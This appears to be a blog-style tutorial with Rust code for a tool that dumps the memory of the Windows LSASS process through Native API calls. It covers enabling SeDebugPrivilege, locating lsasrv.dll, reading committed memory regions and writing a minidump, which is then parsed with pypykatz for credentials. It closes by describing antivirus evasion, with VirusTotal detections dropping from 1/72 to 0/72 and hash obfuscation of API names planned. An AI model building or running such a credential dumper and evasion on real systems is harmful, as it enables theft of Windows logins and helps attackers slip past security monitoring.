Using low-level Windows Native API functions dump LSASS process memory
Prerequisites: Enabling SeDebugPrivilege
Since lsass.exe is a protected system process, we must first enable the SeDebugPrivilege to gain the necessary permissions. This privilege allows our process to open handles to protected processes and read their memory.
Step 1: Enumerating Running Processes
We use the NtQuerySystemInformation API with the SystemProcessInformation (value: 5) information class to retrieve an array of SYSTEM_PROCESS_INFORMATION structures containing details about all running processes. Replace using CreateToolhelp32Snapshot create snapshot.
let status = unsafe {
NtQuerySystemInformation(
5, // SystemProcessInformation
buffer.as_mut_ptr() as *mut c_void,
length,
&mut length,
)
};
The SYSTEM_PROCESS_INFORMATION structure contains various process details, including the process name stored in Unicode format:
pub struct SystemProcessInformation {
...
pub image_name: UnicodeString,
...
}
I iterate through the returned structures in a while loop, searching for the process with the image name matching "lsass.exe".
To make the process names human-readable, we convert the Unicode strings to standard Rust strings. This conversion will later be replaced with DJB2 hash-based obfuscation for evasion purposes.
if !name_addr.is_null() && name_len > 0 {
let wide_slice: &[u16] = core::slice::from_raw_parts(
name_addr as *const u16,
(name_len / 2) as usize
);
let os = std::ffi::OsString::from_wide(wide_slice);
let name = os.to_string_lossy().into_owned();
// println!("Process name = {}", name);
// println!("Name Addr: {:?}", name_addr);
// println!("Name len: {}", name_len);
...
}
Step 2: Querying LSASS Process Information
Once we obtain a handle to the lsass.exe process, we need to locate the lsasrv.dll module, which contains the credential storage mechanisms. We use NtQueryInformationProcess with the ProcessBasicInformation class (value: 0) to retrieve the Process Environment Block (PEB) address.
Use NtQueryInformationProcess query lsass.exe process information
let mut status = unsafe {
NtQueryInformationProcess(
process_handle as *mut c_void,
0, // ProcessBasicInformation
&mut process_information as *mut _ as *mut c_void,
core::mem::size_of::<ProcessBasicInformation>() as u32,
&mut return_length,
)
};
Step 3: Traversing the PEB to Find lsasrv.dll
Since we're querying another process's memory space, we cannot directly access its PEB. Instead, we must read the target process's virtual memory using NtReadVirtualMemory. By traversing the PEB structure and reading the loader data structures, we can enumerate loaded modules and locate lsasrv.dll.
let status = unsafe {
NtReadVirtualMemory(
process_handle,
mem_address,
buffer.as_mut_ptr() as *mut c_void,
buffer.len(),
&mut bytes_read,
)
};
Step 4: Querying Virtual Memory Information
After locating the lsasrv.dll base address, we use NtQueryVirtualMemory to retrieve detailed information about the memory regions.
let result = unsafe {
NtQueryVirtualMemory(
process_handle,
base_address,
0,
&mut mem_info as *mut _ as *mut c_void,
core::mem::size_of::<MemoryBasicInformation>() as usize,
null_mut()
)
};
Understanding Windows Virtual Memory Structure
Windows virtual memory is organized into pages, with the standard page size being 4KB (0x1000 bytes). A process's virtual address space is divided into numerous pages, each with its own state, protection attributes, and base address.
MEMORY_BASIC_INFORMATION Structure
When calling VirtualQueryEx (or NtQueryVirtualMemory), the system returns a MEMORY_BASIC_INFORMATION structure containing critical fields:
- BaseAddress: The starting virtual address of the memory region
- RegionSize: The size of this region (typically multiple pages combined)
-
State:
The allocation state of the memory:-
MEM_COMMIT: Memory is allocated and backed by physical pages (accessible) -
MEM_RESERVE: Address space is reserved but not backed by physical memory -
MEM_FREE: Memory is not allocated
-
-
Protect: Access permissions for the pages:
-
PAGE_NOACCESS: No access allowed -
PAGE_READONLY: Read-only access -
PAGE_READWRITE: Read and write access -
PAGE_EXECUTE_READWRITE: Execute, read, and write access -
PAGE_GUARD: Guard page for debugging or exception triggering
-
let mut mem_info: MemoryBasicInformation = unsafe { core::mem::zeroed() };
let result = unsafe {
NtQueryVirtualMemory(
process_handle,
base_address,
0,
&mut mem_info as *mut _ as *mut c_void,
core::mem::size_of::<MemoryBasicInformation>() as usize,
null_mut()
)
};
Step 5: Filtering Valid Memory Regions
We establish the boundaries for memory scanning:
// Initialize variables for memory region traversal and dumping.
let mut memory_address: usize = 0; // Start memory address for dumping.
let max_memory_address: usize = 0x7FFF_FFFE_FFFF; // Maximum user-mode
We need to skip unreadable or unallocated memory blocks. We only process memory regions that are committed (MEM_COMMIT) and have at least some access permissions (not PAGE_NOACCESS).
if memory_info.protect != PAGE_NOACCESS && memory_info.state == MEM_COMMIT {
...
}
Handling Memory Region Boundaries
NtQueryVirtualMemory returns a region that may contain one or multiple pages. Sometimes a region is only one page size (0x1000 bytes), which typically indicates:
- Special protection boundaries
- Guard pages
- Specific allocation patterns
When performing memory dumps or module scanning, we need to merge adjacent regions to correctly capture complete modules.
Region Merging Logic
We check if region_size equals 0x1000. If so, this typically indicates the beginning of a new module. We then accumulate subsequent regions. Finally, we use NtReadVirtualMemory to convert the memory region into raw bytes and write them to our dump buffer.
Step 6: Creating a Minidump File
The final step involves constructing a binary file similar to a Windows minidump (MDMP format) with the following structure:
- Header (fixed 32 bytes, including signature "MDMP")
- Stream Directory (each stream entry = 12 bytes: streamType (u32), size (u32), offset (u32))
- SystemInfo Stream (fixed 56 bytes implementation, varies by OS version)
- ModuleList Stream (contains module entries + module path blocks)
- Memory64List Stream (contains memory-region list + offset pointing to actual memory bytes)
- regions_memdump (actual memory bytes read, placed at the end of the file)
Testing and Results
We can verify the dump file using pypykatz:
C:\> pypykatz lsa minidump hello.dmp
Examining the Import Address Table (IAT)
Using PeStudio to inspect the IAT reveals the imported functions:

The detection is likely due to not implementing DJB2 or other hash-based obfuscation methods for API calls.
Antivirus Evasion Results
Initial VirusTotal scan detected 1/72:

However, rule-based detection systems are relatively easy to bypass. After minor modifications and re-uploading, the detection rate dropped to 0/72:


Top comments (0)